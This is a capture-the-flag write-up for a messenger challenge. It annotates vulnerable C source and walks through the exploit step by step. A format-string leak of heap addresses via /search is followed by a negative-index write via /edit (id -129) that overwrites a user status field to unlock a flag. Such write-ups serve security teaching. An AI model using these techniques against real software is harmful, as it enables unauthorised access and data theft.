# RozMessenger writeup In this task, we are given access to the messenger via telnet/netcat and part of the backend source code ## Preparation Firstly, let's check the source code (there are only important things): ```cpp struct Message { int senderId; char text[256]; int isEncrypted; // int isEditable; // <- it looks like the message editing mechanism has been redesigned }; // <- Total size = 4+256+4 = 0x108 struct Chat { int chatId; char name[100]; int receiverId; struct Message messages[128]; int messageCount; int userMessageCount; }; // <- Total size = 4+100+4+128*(4+256+4)+4+4 = 0x8474 + (maybe some alignment) struct User { int userId; char STATUS; char name[100]; struct Message *messages_query; }; // <- total size = 4+1+100+8 = 0x71 + some alignment struct User *user; // <- Global pointer to user struct void checkUserPermissions(); // func without code, so in order to compile the code, we need to define this. Just add '{}' struct Chat chats[128]; // <- !Chats buffer allocated on heap! ... int getChat(int chatId, struct Chat *chat){ ... memcpy(chat, &chats[chatId], sizeof(struct Chat)); // <- The current chat has been stored in some buffer ... } ... void getFormatForMessage(char *format, struct Message *message, int id){}; // <- totally secure function, I checked it out :) ... void printMessage(struct Message *message, int id){}; // also totally secure func, no vulns here ... int changeChat(struct Chat *chat, int chatId){ if (!saveChat(chat)){ // <- saving chat on changing return 0; } return getChat(chatId, chat); } ... int editMessageHandler(struct Chat *chat, int messageId) { if (messageId >= chat->messageCount) // <- ! no checks for a negative index ! { ... return 0; } if (chat->messages[messageId].senderId != user->userId) // <- bad check, because our user id = 0 { ... return 0; } ... } int main() { ... user = malloc(sizeof(struct User)); // <- !User struct allocated on heap! struct User temp_user = {0, 0, "NONE", malloc(sizeof(struct Message) * 128)}; memcpy(user, &temp_user, sizeof(struct User)); struct Chat mainChat = {-1, "Main Chat", 0, {}, 0, 0}; struct Chat *temp_chats = malloc(sizeof(struct Chat) * 128); // Temp chats allocated on heap struct Chat *chat = malloc(sizeof(struct Chat)); // Chat buffer also allocated on heap after user struct memcpy(chat, &mainChat, sizeof(struct Chat)); ... checkUserPermissions(user); // useless because we don't have any code load_chats(); ... int isExit = 0; while (!isExit) { // read command ... // process command ... else if (strcmp(command, "/ch_chat") == 0) { clearScreen(); // print all chats printf("[*] Chats:\n"); for (int i = 0; i < chatsLength; i++) { printf("\t[%d] %s\n", i, chats[i].name); } // read chat id ... // change chat if (!changeChat(chat, chatId)){ // <- save, no arbitrary index init ... } ... } else if (strcmp(command, "/chat") == 0){ // printing messages ... // enter to chat menu int isExitChat = 0; while (!isExitChat){ // read command ... // process command ... else if (strcmp(command, "/show") == 0){ // show chat messages ... } else if (strcmp(command, "/send") == 0){ // read message char message[256]; if (user->STATUS == 0) // annoying message read_data(message, 50); else read_data(message, 256); // send message if (chat->messageCount >= 128){ // overflow check printf("[!] Chat is full (128 messages)\n"); } else{ chat->messages[chat->messageCount].senderId = user->userId; strcpy(chat->messages[chat->messageCount].text, message); chat->messages[chat->messageCount].isEncrypted = 0; if (user->STATUS != 0) // Premium staff ... chat->messageCount++; ... // safe print message } } else if (strcmp(command, "/edit") == 0){ // read message id int messageId; printf("[?] Message id -> "); scanf("%d", &messageId); editMessageHandler(chat, messageId); // <- !INSECURE FUNCTION! saveChat(chat); } else if (strcmp(command, "/exit") == 0) // exit chat menu isExitChat = 1; else printf("[!] Unknown command %s\n", command); } } else if (strcmp(command, "/search") == 0){ // read message char message[256]; int chatCount = getAllChats(temp_chats); ... // search message int count = searchMessageInAllChats(temp_chats, chatCount, message, user->messages_query, 128); char buffer[256]; for (int i = 0; i < count; i++){ ... if (user->messages_query[i].isEncrypted){ // <- searchMessageInAllChats returns encrypted messages only if Premium, so, no information leak printf(decryptMessage(&user->messages_query[i], buffer)); // <- !PREMIUM-CONTROLLED FORMAT STRING! } else { printf(user->messages_query[i].text); // <- !USER-CONTROLLED FORMAT STRING! } } ... } else if (strcmp(command, "/exit") == 0){ // exit } else if (strcmp(command, "/whoami") == 0){ // show user info printf("[*] User info:\n"); printf("\tid: %d\n", user->userId); printf("\tname: %s\n", user->name); printf("\tstatus: %s\n", user->STATUS == 0 ? "freemium" : "premium"); // <- Hmm, non-zero status is premium... } else if (strcmp(command, "/buy_premium") == 0){ // scam } ... } ... return 0; } ``` So, we have vulnerable pieces of code: - arbitrary index write (negative values) ```cpp else if (strcmp(command, "/edit") == 0){ // read message id ... editMessageHandler(chat, messageId); ... } ``` - Stack leakage (via format string) ```cpp else if (strcmp(command, "/search") == 0){ ... for (int i = 0; i < count; i++){ ... printf(user->messages_query[i].text); } ... } ``` > P.S. We can use a format string to RCE, but in this case it's overkill. ## Grand plan Our next steps are: 1. Leak addresses of User struct and Chat struct (and hope that User struct allocated before Chat struct) via `/search` 2. Сalculate the difference between them and rewrite User via `/edit` ### Step one. Leaking addresses Let's send (for example to vos) a new message like this: `%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p` If we send it and save chat (`/edit` or `/ch_chat`), and after `/search` for our new message, we will get this output: ``` [?] Text to search for -> %p *******0******** Sender: roz 0x7ffd4b2afba0.(nil).0x561d7e4d0320.(nil).0x73.(nil).(nil).0x600000005.0x1.0x6.0x100000005.0x7f05a4df5010.0x561d7e4d8730.0x4e4f4e0000000000.0x45 ``` Where: * **0x561d7e4d0320** - pointer to messages_query, allocated right after the user structure (left from ```searchMessageInAllChats(temp_chats, chatCount, message, user->messages_query, 128)```, so **User struct addr** = 0x561d7e4d0320 - sizeof(User) = **0x561d7e4d02a0** * **0x561d7e4d8730** - pointer to Chat structure Cool, we get all of what we need, so we can continue to step 2 ### Step two. Rewrite If we just divide 0x561d7e4d02a0 - 0x561d7e4d8730 by 0x108, we get -128.(54), so we need to use -129 index to rewrite the User struct, and write at least 12 symbols for replacing STATUS field in the structure. > P.S. To calculate it appropriately, you can build the code on the x84_64 arch and look into a debugger. Let's do this: ``` [vos] Command -> /edit [?] Message id -> -129 [?] New message (max 256 chars): abcdefghijklmnop [*] Message edited [vos] Command -> /exit [menu] Command -> /whoami [*] User info: id: 1818978921 <-- ijkl in little endian name: nop status: premium <- non zero, so premium! ``` Wow! Now we are premium. Read an encrypted message from Mary and get the flag! ``` ┌-nop---------┐ | Hello, Mary | └---------(0)-┘ ┌-Mary <3-┐ | Hi | └-----(1)-┘ ┌-nop----------┐ | How are you? | └----------(2)-┘ ┌-Mary <3----------┐ | I'm fine, thanks | └--------------(3)-┘ ┌-nop---------------┐ | Nice to hear that | └---------------(4)-┘ ┌-Mary <3------------------------┐ | Hey, i have secret message for | | you | └----------------------------(5)-┘ ┌-nop---------┐ | What is it? | └---------(6)-┘ ┌-Mary <3----------------------┐ | hli{m000m_i_h@k3d_m3ss3ng3r} | └[e]-----------------------(7)-┘ [★Mary <3★] Command -> ```